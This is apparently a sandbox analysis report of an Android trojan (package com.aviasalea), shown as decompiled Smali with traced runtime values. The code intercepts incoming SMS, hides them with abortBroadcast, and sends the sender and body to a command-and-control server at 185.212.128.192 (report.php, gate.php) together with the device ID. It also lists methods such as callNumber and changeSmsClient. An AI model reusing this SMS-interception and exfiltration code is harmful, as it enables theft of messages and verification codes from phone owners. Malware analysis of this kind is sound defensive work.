                                      22invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                                      23move-result-object v2
                                      25const-string v3, "android_id"
                                      27invoke-static {v2, v3}, Landroid/provider/Settings$Secure;->getString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String;
                                      28move-result-object v0
                                      29cond_27: return-object v0
                                      30cond_28:
                                      31invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;
                                      • Time: 1289913
                                        • This:
                                          • android.telephony.TelephonyManager@16dcf5a
                                        • Return:
                                          • 450785365059857
                                      32move-result-object v0
                                      33goto/16 :goto_15
                                      Cross References
                                      APIs
                                      • android.os.Bundle.get
                                      • android.telephony.SmsMessage.createFromPdu
                                      • android.telephony.SmsMessage.getDisplayOriginatingAddress
                                      • android.telephony.SmsMessage.getDisplayMessageBody
                                      • com.aviasalea.mess.service.receiver.SmsReceiver.sendReceivedSmsRequest
                                      • com.aviasalea.mess.service.receiver.SmsReceiver.abortBroadcast
                                      Strings
                                      • pdus
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.param p2, "bundle" # Landroid/os/Bundle;
                                      2.annotation system Ldalvik/annotation/Throws;
                                      3value = {
                                      4Ljava/lang/Exception;
                                      5}
                                      6.end annotation
                                      7.prologue
                                      9const-string v0, "pdus"
                                      11invoke-virtual {p2, v0}, Landroid/os/Bundle;->get(Ljava/lang/String;)Ljava/lang/Object;
                                      12move-result-object v0
                                      13check-cast v0, [Ljava/lang/Object;
                                      14move-object v8, v0
                                      15check-cast v8, [Ljava/lang/Object;
                                      16if-eqz v8, :cond_32
                                      17array-length v10, v8
                                      18const/4 v0, 0x0
                                      19move v9, v0
                                      20goto_10: if-ge v9, v10, :cond_32
                                      21aget-object v6, v8, v9
                                      22check-cast v6, [B
                                      23check-cast v6, [B
                                      25invoke-static {v6}, Landroid/telephony/SmsMessage;->createFromPdu([B)Landroid/telephony/SmsMessage;
                                      • Time: 1436534
                                        • p0: [B@670d39a
                                        • p0: 2Tvz
                                        • p0: 01000A811032547698000005C47ABB9D07
                                        • Return:
                                          • null
                                      26move-result-object v7
                                      28invoke-virtual {v7}, Landroid/telephony/SmsMessage;->getDisplayOriginatingAddress()Ljava/lang/String;
                                      29move-result-object v2
                                      31invoke-virtual {v7}, Landroid/telephony/SmsMessage;->getDisplayMessageBody()Ljava/lang/String;
                                      32move-result-object v3
                                      33const-wide/16 v4, 0x0
                                      34move-object v0, p0
                                      35move-object v1, p1
                                      37invoke-direct/range {v0 .. v5}, Lcom/aviasalea/mess/service/receiver/SmsReceiver;->sendReceivedSmsRequest(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;J)V
                                      39invoke-virtual {p0}, Lcom/aviasalea/mess/service/receiver/SmsReceiver;->abortBroadcast()V
                                      • Time: 1436563
                                        • This:
                                          • com.aviasalea.mess.service.receiver.SmsReceiver@ee5be42
                                        • Return:
                                          • java.lang.IllegalStateException: Call while result is not pending
                                      40add-int/lit8 v0, v9, 0x1
                                      41move v9, v0
                                      42goto/16 :goto_10
                                      43cond_32: return-void
                                      Cross References
                                      APIs
                                      • android.content.Context.getSystemService
                                      • android.net.ConnectivityManager.getActiveNetworkInfo
                                      • android.net.NetworkInfo.isConnectedOrConnecting
                                      Strings
                                      • connectivity
                                      Position Instruction Meta Information
                                      0.param p0, "context" # Landroid/content/Context;
                                      1.prologue
                                      3const-string v3, "connectivity"
                                      5invoke-virtual {p0, v3}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                      • Time: 1290017
                                        • This:
                                          • com.aviasalea.srs.CmndSrs@5ac58b9
                                        • p0: connectivity
                                        • Return:
                                          • android.net.ConnectivityManager@d1c1998
                                      6move-result-object v1
                                      7check-cast v1, Landroid/net/ConnectivityManager;
                                      9invoke-virtual {v1}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
                                      • Time: 1290021
                                        • This:
                                          • android.net.ConnectivityManager@d1c1998
                                        • Return:
                                          • [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: c2:b1:a1:c8:51:6d, failover: false, available: true, roaming: false, metered: false]
                                      10move-result-object v0
                                      11if-eqz v0, :cond_16
                                      13invoke-virtual {v0}, Landroid/net/NetworkInfo;->isConnectedOrConnecting()Z
                                      • Time: 1290024
                                        • This:
                                          • [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: c2:b1:a1:c8:51:6d, failover: false, available: true, roaming: false, metered: false]
                                        • Return:
                                          • true
                                      14move-result v3
                                      15if-eqz v3, :cond_16
                                      16const/4 v2, 0x1
                                      17goto_15: return v2
                                      18cond_16: const/4 v2, 0x0
                                      19goto/16 :goto_15
                                      Cross References
                                      APIs
                                      • java.net.URL.<init>
                                      • java.net.URL.openConnection
                                      • java.lang.Exception.printStackTrace
                                      Position Instruction Meta Information
                                      0.param p1, "url" # Ljava/lang/String;
                                      1.prologue
                                      3invoke-direct {p0}, Lcom/aviasalea/api/request/BaseConnection;-><init>()V
                                      4const/4 v1, 0x0
                                      5iput-object v1, p0, Lcom/aviasalea/api/request/HTTPConnection;->mConn:Ljava/net/HttpURLConnection;
                                      6try_start_6: new-instance v1, Ljava/net/URL;
                                      8invoke-direct {v1, p1}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
                                      10invoke-virtual {v1}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
                                      • Time: 1294924
                                        • This:
                                          • http://185.212.128.192/1324273/gate.php?ID=450785365059857103&screen=on
                                        • Return:
                                          • com.android.okhttp.internal.huc.HttpURLConnectionImpl:http://185.212.128.192/1324273/gate.php?ID=450785365059857103&screen=on
                                      • Time: 1437548
                                        • This:
                                          • http://185.212.128.192/1324273/report.php
                                        • Return:
                                          • com.android.okhttp.internal.huc.HttpURLConnectionImpl:http://185.212.128.192/1324273/report.php
                                      11move-result-object v1
                                      12check-cast v1, Ljava/net/HttpURLConnection;
                                      13iput-object v1, p0, Lcom/aviasalea/api/request/HTTPConnection;->mConn:Ljava/net/HttpURLConnection;
                                      14try_end_13: return-void
                                      15catch_14: move-exception v0
                                      17invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                      18goto/16 :goto_13
                                      Cross References
                                      APIs
                                      • java.net.InetAddress.getByName
                                      Strings
                                      • google.com
                                      Position Instruction Meta Information
                                      0.param p0, "address" # Ljava/lang/String;
                                      1.annotation build Landroid/support/annotation/NonNull;
                                      2.end annotation
                                      3.end param
                                      4.annotation system Ldalvik/annotation/Throws;
                                      5value = {
                                      6Ljava/net/UnknownHostException;
                                      7}
                                      8.end annotation
                                      9.prologue
                                      10new-instance v1, Lcom/aviasalea/ping/Ping;
                                      12invoke-direct {v1}, Lcom/aviasalea/ping/Ping;-><init>()V
                                      14invoke-static {p0}, Ljava/net/InetAddress;->getByName(Ljava/lang/String;)Ljava/net/InetAddress;
                                      • Time: 1297384
                                        • p0: google.com
                                        • Return:
                                          • google.com/172.217.16.174
                                      15move-result-object v0
                                      17invoke-direct {v1, v0}, Lcom/aviasalea/ping/Ping;->setAddress(Ljava/net/InetAddress;)V
                                      18return-object v1
                                      APIs
                                      • java.lang.System.loadLibrary
                                      Strings
                                      • realtalk-jni
                                      Position Instruction Meta Information
                                      0.prologue
                                      2const-string v0, "realtalk-jni"
                                      4invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V
                                      • Time: 1289468
                                        • p0: realtalk-jni
                                      5return-void
                                      Cross References
                                      APIs
                                      • java.lang.Class.getName
                                      • java.util.Map.get
                                      • java.util.ArrayList.<init>
                                      • java.util.HashSet.<init>
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.Class.getName
                                      • java.lang.String.startsWith
                                      • java.lang.String.startsWith
                                      • java.lang.String.startsWith
                                      • java.util.List.isEmpty
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • de.greenrobot.event.EventBusException.<init>
                                      • java.lang.Class.getDeclaredMethods
                                      • java.lang.reflect.Method.getName
                                      • java.lang.String.startsWith
                                      • java.lang.reflect.Method.getModifiers
                                      • java.lang.reflect.Method.getParameterTypes
                                      • java.lang.String.length
                                      • java.lang.String.substring
                                      • java.lang.String.length
                                      • de.greenrobot.event.ThreadMode.PostThread:Lde/greenrobot/event/ThreadMode
                                      • java.lang.StringBuilder.setLength
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.Class.getName
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • java.util.HashSet.add
                                      • java.util.List.add
                                      • java.lang.String.equals
                                      • de.greenrobot.event.ThreadMode.MainThread:Lde/greenrobot/event/ThreadMode
                                      • java.lang.String.equals
                                      • de.greenrobot.event.ThreadMode.BackgroundThread:Lde/greenrobot/event/ThreadMode
                                      • java.lang.String.equals
                                      • de.greenrobot.event.ThreadMode.Async:Lde/greenrobot/event/ThreadMode
                                      • java.util.Map.containsKey
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • de.greenrobot.event.EventBusException.<init>
                                      • java.util.Map.containsKey
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • android.util.Log.d
                                      • java.lang.Class.getSuperclass
                                      • java.util.Map.put
                                      Strings
                                      • java.
                                      • javax.
                                      • android.
                                      • Subscriber
                                      • has no public methods called
                                      • onEvent
                                      • MainThread
                                      • BackgroundThread
                                      • Async
                                      • Illegal onEvent method, check for typos:
                                      • Skipping method (not public, static or abstract):
                                      • .
                                      Position Instruction Meta Information
                                      0.annotation system Ldalvik/annotation/Signature;
                                      1value = {
                                      2"(",
                                      3"Ljava/lang/Class",
                                      4"<*>;)",
                                      5"Ljava/util/List",
                                      6"<",
                                      7"Lde/greenrobot/event/SubscriberMethod;",
                                      8">;"
                                      9}
                                      10.end annotation
                                      11.prologue
                                      13invoke-virtual/range {p1 .. p1}, Ljava/lang/Class;->getName()Ljava/lang/String;
                                      14move-result-object v7
                                      16sget-object v22, Lde/greenrobot/event/SubscriberMethodFinder;->methodCache:Ljava/util/Map;
                                      17monitor-enter v22
                                      18try_start_7:
                                      19sget-object v21, Lde/greenrobot/event/SubscriberMethodFinder;->methodCache:Ljava/util/Map;
                                      20move-object/from16 v0, v21
                                      22invoke-interface {v0, v7}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                      23move-result-object v18
                                      24check-cast v18, Ljava/util/List;
                                      25monitor-exit v22
                                      26if-eqz v18, :cond_1a
                                      27move-object/from16 v19, v18
                                      28goto_16: return-object v19
                                      29catchall_17: move-exception v21
                                      30monitor-exit v22
                                      31try_end_19: throw v21
                                      32cond_1a: new-instance v18, Ljava/util/ArrayList;
                                      34invoke-direct/range {v18 .. v18}, Ljava/util/ArrayList;-><init>()V
                                      35move-object/from16 v3, p1
                                      36new-instance v5, Ljava/util/HashSet;
                                      38invoke-direct {v5}, Ljava/util/HashSet;-><init>()V
                                      39new-instance v11, Ljava/lang/StringBuilder;
                                      41invoke-direct {v11}, Ljava/lang/StringBuilder;-><init>()V
                                      42goto_2b: if-eqz v3, :cond_55
                                      44invoke-virtual {v3}, Ljava/lang/Class;->getName()Ljava/lang/String;
                                      45move-result-object v16
                                      47const-string v21, "java."
                                      48move-object/from16 v0, v16
                                      49move-object/from16 v1, v21
                                      51invoke-virtual {v0, v1}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                      52move-result v21
                                      53if-nez v21, :cond_55
                                      55const-string v21, "javax."
                                      56move-object/from16 v0, v16
                                      57move-object/from16 v1, v21
                                      59invoke-virtual {v0, v1}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                      60move-result v21
                                      61if-nez v21, :cond_55
                                      63const-string v21, "android."
                                      64move-object/from16 v0, v16
                                      65move-object/from16 v1, v21
                                      67invoke-virtual {v0, v1}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                      68move-result v21
                                      69if-eqz v21, :cond_84
                                      70cond_55:
                                      71invoke-interface/range {v18 .. v18}, Ljava/util/List;->isEmpty()Z
                                      72move-result v21
                                      73if-eqz v21, :cond_196
                                      74new-instance v21, Lde/greenrobot/event/EventBusException;
                                      75new-instance v22, Ljava/lang/StringBuilder;
                                      77invoke-direct/range {v22 .. v22}, Ljava/lang/StringBuilder;-><init>()V
                                      79const-string v23, "Subscriber "
                                      81invoke-virtual/range {v22 .. v23}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      82move-result-object v22
                                      83move-object/from16 v0, v22
                                      84move-object/from16 v1, p1
                                      86invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                      87move-result-object v22
                                      89const-string v23, " has no public methods called "
                                      91invoke-virtual/range {v22 .. v23}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      92move-result-object v22
                                      94const-string v23, "onEvent"
                                      96invoke-virtual/range {v22 .. v23}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      97move-result-object v22
                                      99invoke-virtual/range {v22 .. v22}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      100move-result-object v22
                                      102invoke-direct/range {v21 .. v22}, Lde/greenrobot/event/EventBusException;-><init>(Ljava/lang/String;)V
                                      103throw v21
                                      104cond_84:
                                      105invoke-virtual {v3}, Ljava/lang/Class;->getDeclaredMethods()[Ljava/lang/reflect/Method;
                                      • Time: 1289982
                                        • This:
                                          • class com.aviasalea.srs.CmndSrs
                                          • getName:com.aviasalea.srs.CmndSrs
                                        • Return:
                                          • [Ljava.lang.reflect.Method;@930c775
                                          • Arrays.toString: [static void com.aviasalea.srs.CmndSrs.access$000(com.aviasalea.srs.CmndSrs), static void com.aviasalea.srs.CmndSrs.access$100(com.aviasalea.srs.CmndSrs), static void com.aviasalea.srs.CmndSrs.access$200(com.aviasalea.srs.CmndSrs,android.content.Context), static void com.aviasalea.srs.CmndSrs.access$300(com.aviasalea.srs.CmndSrs,android.content.Context,com.aviasalea.srs.api.responses.HitGateResponse), private void com.aviasalea.srs.CmndSrs.callNumber(android.content.Context,com.aviasalea.srs.api.responses.HitGateResponse), private void com.aviasalea.srs.CmndSrs.changeSmsClient(android.content.Context,com.aviasalea.srs.api.responses.HitGateResponse), private android.app.PendingIntent com.aviasalea.srs.CmndSrs.getAlarmCommandIntent(android.content.Context), private void com.aviasalea.srs.CmndSrs.getPush(android.content.Context,com.aviasalea.srs.api.responses.HitGateResponse), private void com.aviasalea.srs.CmndSrs.hardMode(android.content.Context,com.aviasalea.srs.api.responses.HitGateResponse), private void co
                                      106move-result-object v13
                                      107move-object v2, v13
                                      108array-length v8, v2
                                      109const/4 v6, 0x0
                                      110goto_8b: if-ge v6, v8, :cond_190
                                      111aget-object v9, v2, v6
                                      113invoke-virtual {v9}, Ljava/lang/reflect/Method;->getName()Ljava/lang/String;
                                      114move-result-object v12
                                      116const-string v21, "onEvent"
                                      117move-object/from16 v0, v21
                                      119invoke-virtual {v12, v0}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                      120move-result v21
                                      121if-eqz v21, :cond_107
                                      123invoke-virtual {v9}, Ljava/lang/reflect/Method;->getModifiers()I
                                      124move-result v15
                                      125and-int/lit8 v21, v15, 0x1
                                      126if-eqz v21, :cond_15a
                                      127and-int/lit16 v0, v15, 0x1448
                                      128move/from16 v21, v0
                                      129if-nez v21, :cond_15a
                                      131invoke-virtual {v9}, Ljava/lang/reflect/Method;->getParameterTypes()[Ljava/lang/Class;
                                      132move-result-object v17
                                      133move-object/from16 v0, v17
                                      134array-length v0, v0
                                      135move/from16 v21, v0
                                      136const/16 v22, 0x1
                                      137move/from16 v0, v21
                                      138move/from16 v1, v22
                                      139if-ne v0, v1, :cond_107
                                      141const-string v21, "onEvent"
                                      143invoke-virtual/range {v21 .. v21}, Ljava/lang/String;->length()I
                                      144move-result v21
                                      145move/from16 v0, v21
                                      147invoke-virtual {v12, v0}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                                      148move-result-object v14
                                      150invoke-virtual {v14}, Ljava/lang/String;->length()I
                                      151move-result v21
                                      152if-nez v21, :cond_10a
                                      154sget-object v20, Lde/greenrobot/event/ThreadMode;->PostThread:Lde/greenrobot/event/ThreadMode;
                                      155goto_d0: const/16 v21, 0x0
                                      156aget-object v4, v17, v21
                                      157const/16 v21, 0x0
                                      158move/from16 v0, v21
                                      160invoke-virtual {v11, v0}, Ljava/lang/StringBuilder;->setLength(I)V
                                      162invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      163const/16 v21, 0x3e
                                      164move/from16 v0, v21
                                      166invoke-virtual {v11, v0}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
                                      167move-result-object v21
                                      169invoke-virtual {v4}, Ljava/lang/Class;->getName()Ljava/lang/String;
                                      170move-result-object v22
                                      172invoke-virtual/range {v21 .. v22}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      174invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      175move-result-object v10
                                      177invoke-virtual {v5, v10}, Ljava/util/HashSet;->add(Ljava/lang/Object;)Z
                                      178move-result v21
                                      179if-eqz v21, :cond_107
                                      180new-instance v21, Lde/greenrobot/event/SubscriberMethod;
                                      181move-object/from16 v0, v21
                                      182move-object/from16 v1, v20
                                      184invoke-direct {v0, v9, v1, v4}, Lde/greenrobot/event/SubscriberMethod;-><init>(Ljava/lang/reflect/Method;Lde/greenrobot/event/ThreadMode;Ljava/lang/Class;)V
                                      185move-object/from16 v0, v18
                                      186move-object/from16 v1, v21
                                      188invoke-interface {v0, v1}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                      189goto_107: add-int/lit8 v6, v6, 0x1
                                      190goto/16 :goto_8b
                                      191cond_10a:
                                      192const-string v21, "MainThread"
                                      193move-object/from16 v0, v21
                                      195invoke-virtual {v14, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                      196move-result v21
                                      197if-eqz v21, :cond_117
                                      199sget-object v20, Lde/greenrobot/event/ThreadMode;->MainThread:Lde/greenrobot/event/ThreadMode;
                                      200goto/16 :goto_d0
                                      201cond_117:
                                      202const-string v21, "BackgroundThread"
                                      203move-object/from16 v0, v21
                                      205invoke-virtual {v14, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                      206move-result v21
                                      207if-eqz v21, :cond_124
                                      209sget-object v20, Lde/greenrobot/event/ThreadMode;->BackgroundThread:Lde/greenrobot/event/ThreadMode;
                                      210goto/16 :goto_d0
                                      211cond_124:
                                      212const-string v21, "Async"
                                      213move-object/from16 v0, v21
                                      215invoke-virtual {v14, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                      216move-result v21
                                      217if-eqz v21, :cond_131
                                      219sget-object v20, Lde/greenrobot/event/ThreadMode;->Async:Lde/greenrobot/event/ThreadMode;
                                      220goto/16 :goto_d0
                                      221cond_131: move-object/from16 v0, p0
                                      223iget-object v0, v0, Lde/greenrobot/event/SubscriberMethodFinder;->skipMethodVerificationForClasses:Ljava/util/Map;
                                      224move-object/from16 v21, v0
                                      225move-object/from16 v0, v21
                                      227invoke-interface {v0, v3}, Ljava/util/Map;->containsKey(Ljava/lang/Object;)Z
                                      228move-result v21
                                      229if-nez v21, :cond_107
                                      230new-instance v21, Lde/greenrobot/event/EventBusException;
                                      231new-instance v22, Ljava/lang/StringBuilder;
                                      233invoke-direct/range {v22 .. v22}, Ljava/lang/StringBuilder;-><init>()V
                                      235const-string v23, "Illegal onEvent method, check for typos: "
                                      237invoke-virtual/range {v22 .. v23}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      238move-result-object v22
                                      239move-object/from16 v0, v22
                                      241invoke-virtual {v0, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                      242move-result-object v22
                                      244invoke-virtual/range {v22 .. v22}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      245move-result-object v22
                                      247invoke-direct/range {v21 .. v22}, Lde/greenrobot/event/EventBusException;-><init>(Ljava/lang/String;)V
                                      248throw v21
                                      249cond_15a: move-object/from16 v0, p0
                                      251iget-object v0, v0, Lde/greenrobot/event/SubscriberMethodFinder;->skipMethodVerificationForClasses:Ljava/util/Map;
                                      252move-object/from16 v21, v0
                                      253move-object/from16 v0, v21
                                      255invoke-interface {v0, v3}, Ljava/util/Map;->containsKey(Ljava/lang/Object;)Z
                                      256move-result v21
                                      257if-nez v21, :cond_107
                                      259sget-object v21, Lde/greenrobot/event/EventBus;->TAG:Ljava/lang/String;
                                      260new-instance v22, Ljava/lang/StringBuilder;
                                      262invoke-direct/range {v22 .. v22}, Ljava/lang/StringBuilder;-><init>()V
                                      264const-string v23, "Skipping method (not public, static or abstract): "
                                      266invoke-virtual/range {v22 .. v23}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      267move-result-object v22
                                      268move-object/from16 v0, v22
                                      270invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                      271move-result-object v22
                                      273const-string v23, "."
                                      275invoke-virtual/range {v22 .. v23}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      276move-result-object v22
                                      277move-object/from16 v0, v22
                                      279invoke-virtual {v0, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      280move-result-object v22
                                      282invoke-virtual/range {v22 .. v22}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      283move-result-object v22
                                      285invoke-static/range {v21 .. v22}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                                      286goto/16 :goto_107
                                      287cond_190:
                                      288invoke-virtual {v3}, Ljava/lang/Class;->getSuperclass()Ljava/lang/Class;
                                      289move-result-object v3
                                      290goto/16 :goto_2b
                                      291cond_196:
                                      292sget-object v22, Lde/greenrobot/event/SubscriberMethodFinder;->methodCache:Ljava/util/Map;
                                      293monitor-enter v22
                                      294try_start_199:
                                      295sget-object v21, Lde/greenrobot/event/SubscriberMethodFinder;->methodCache:Ljava/util/Map;
                                      296move-object/from16 v0, v21
                                      297move-object/from16 v1, v18
                                      299invoke-interface {v0, v7, v1}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                      300monitor-exit v22
                                      301move-object/from16 v19, v18
                                      302goto/16 :goto_16
                                      303catchall_1a7: move-exception v21
                                      304monitor-exit v22
                                      305try_end_1a9: throw v21
                                      Cross References
                                      APIs
                                      • java.lang.System.currentTimeMillis
                                      • android.util.Log.w
                                      • java.lang.Object.getClass
                                      • java.lang.Class.toString
                                      • android.util.Log.w
                                      • android.util.Log.w
                                      • android.util.Log.w
                                      • android.util.Log.w
                                      • java.lang.Object.getClass
                                      • java.lang.Class.toString
                                      • android.util.Log.w
                                      • android.util.Log.w
                                      • java.lang.String.valueOf
                                      • android.util.Log.w
                                      • android.util.Log.w
                                      • android.util.Log.w
                                      • java.lang.Object.getClass
                                      • java.lang.Class.getName
                                      • android.util.Log.e
                                      • android.util.Log.e
                                      Strings
                                      • http://185.212.128.192/1324273/gate.php?ID=450785365059857103&screen=on
                                      • http://185.212.128.192/1324273/report.php
                                      • REALTALK REQUEST
                                      • =======================================
                                      • Not Found
                                      • responseBody is null
                                      Position Instruction Meta Information
                                      0.param p1, "request" # Lcom/aviasalea/api/request/HttpRequest;
                                      1.prologue
                                      3invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                                      4move-result-wide v4
                                      5const-wide/16 v6, 0x3e8
                                      6div-long/2addr v4, v6
                                      7iput-wide v4, p1, Lcom/aviasalea/api/request/HttpRequest;->requestTime:J
                                      9invoke-virtual {p1}, Lcom/aviasalea/api/request/HttpRequest;->getUrl()Ljava/lang/String;
                                      • Time: 1292244
                                        • This:
                                          • com.aviasalea.srs.api.requests.HitGateRequest@a46834f
                                        • Return:
                                          • http://185.212.128.192/1324273/gate.php?ID=450785365059857103&screen=on
                                      • Time: 1437258
                                        • This:
                                          • com.aviasalea.mess.api.SendReceivedSmsRequest@af5574a
                                        • Return:
                                          • http://185.212.128.192/1324273/report.php
                                      10move-result-object v2
                                      12const-string v3, "REALTALK REQUEST"
                                      14const-string v4, "======================================="
                                      16invoke-static {v3, v4}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
                                      18const-string v3, "REALTALK REQUEST"
                                      20invoke-virtual {p1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                      • Time: 1293297
                                        • This:
                                          • com.aviasalea.srs.api.requests.HitGateRequest@a46834f
                                        • Return:
                                          • class com.aviasalea.srs.api.requests.HitGateRequest
                                          • getName: com.aviasalea.srs.api.requests.HitGateRequest
                                      • Time: 1437467
                                        • This:
                                          • com.aviasalea.mess.api.SendReceivedSmsRequest@af5574a
                                        • Return:
                                          • class com.aviasalea.mess.api.SendReceivedSmsRequest
                                          • getName: com.aviasalea.mess.api.SendReceivedSmsRequest
                                      21move-result-object v4
                                      23invoke-virtual {v4}, Ljava/lang/Class;->toString()Ljava/lang/String;
                                      24move-result-object v4
                                      26invoke-static {v3, v4}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
                                      28const-string v3, "REALTALK REQUEST"
                                      30invoke-static {v3, v2}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
                                      32const-string v3, "REALTALK REQUEST"
                                      34const-string v4, "======================================="
                                      36invoke-static {v3, v4}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
                                      37new-instance v0, Lcom/aviasalea/api/request/HTTPConnection;
                                      39invoke-direct {v0, v2}, Lcom/aviasalea/api/request/HTTPConnection;-><init>(Ljava/lang/String;)V
                                      • Time: 1293723
                                        • This:
                                          • http://185.212.128.192/1324273/gate.php?ID=450785365059857103&screen=on
                                        • p0: http://185.212.128.192/1324273/gate.php?ID=450785365059857103&screen=on
                                        • Return:
                                          • http://185.212.128.192/1324273/gate.php?ID=450785365059857103&screen=on
                                      • Time: 1295447
                                        • p0: http://185.212.128.192/1324273/gate.php?ID=450785365059857103&screen=on
                                        • Return:
                                          • com.aviasalea.api.request.HTTPConnection@fc07ea3
                                      • Time: 1350483
                                        • p0: http://185.212.128.192/1324273/gate.php?ID=450785365059857103&screen=on
                                        • Return:
                                          • com.aviasalea.api.request.HTTPConnection@85cca7e
                                      • Time: 1425784
                                        • p0: http://185.212.128.192/1324273/gate.php?ID=450785365059857103&screen=on
                                        • Return:
                                          • com.aviasalea.api.request.HTTPConnection@ee70663
                                      • Time: 1437519
                                        • This:
                                          • http://185.212.128.192/1324273/report.php
                                        • p0: http://185.212.128.192/1324273/report.php
                                        • Return:
                                          • http://185.212.128.192/1324273/report.php
                                      • Time: 1437563
                                        • p0: http://185.212.128.192/1324273/report.php
                                        • Return:
                                          • com.aviasalea.api.request.HTTPConnection@31c9b69
                                      • Time: 1437681
                                        • p0: http://185.212.128.192/1324273/gate.php?ID=450785365059857103&screen=on
                                        • Return:
                                          • com.aviasalea.api.request.HTTPConnection@ea4251c
                                      • Time: 1469137
                                        • p0: http://185.212.128.192/1324273/gate.php?ID=450785365059857103&screen=on
                                        • Return:
                                          • com.aviasalea.api.request.HTTPConnection@270aa5a
                                      • Time: 1475925
                                        • p0: http://185.212.128.192/1324273/gate.php?ID=450785365059857103&screen=on
                                        • Return:
                                          • com.aviasalea.api.request.HTTPConnection@6d6a4ae
                                      41invoke-virtual {v0, p1}, Lcom/aviasalea/api/request/BaseConnection;->doRequest(Lcom/aviasalea/api/request/HttpRequest;)Ljava/lang/String;
                                      42move-result-object v1
                                      44const-string v3, "REALTALK REQUEST"
                                      46const-string v4, "======================================="
                                      48invoke-static {v3, v4}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
                                      50const-string v3, "REALTALK REQUEST"
                                      52invoke-virtual {p1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                      • Time: 1296787
                                        • This:
                                          • com.aviasalea.srs.api.requests.HitGateRequest@a46834f
                                        • Return:
                                          • class com.aviasalea.srs.api.requests.HitGateRequest
                                          • getName: com.aviasalea.srs.api.requests.HitGateRequest
                                      • Time: 1437658
                                        • This:
                                          • com.aviasalea.mess.api.SendReceivedSmsRequest@af5574a
                                        • Return:
                                          • class com.aviasalea.mess.api.SendReceivedSmsRequest
                                          • getName: com.aviasalea.mess.api.SendReceivedSmsRequest
                                      53move-result-object v4
                                      55invoke-virtual {v4}, Ljava/lang/Class;->toString()Ljava/lang/String;
                                      56move-result-object v4
                                      58invoke-static {v3, v4}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
                                      60const-string v3, "REALTALK REQUEST"
                                      62invoke-static {v3, v1}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
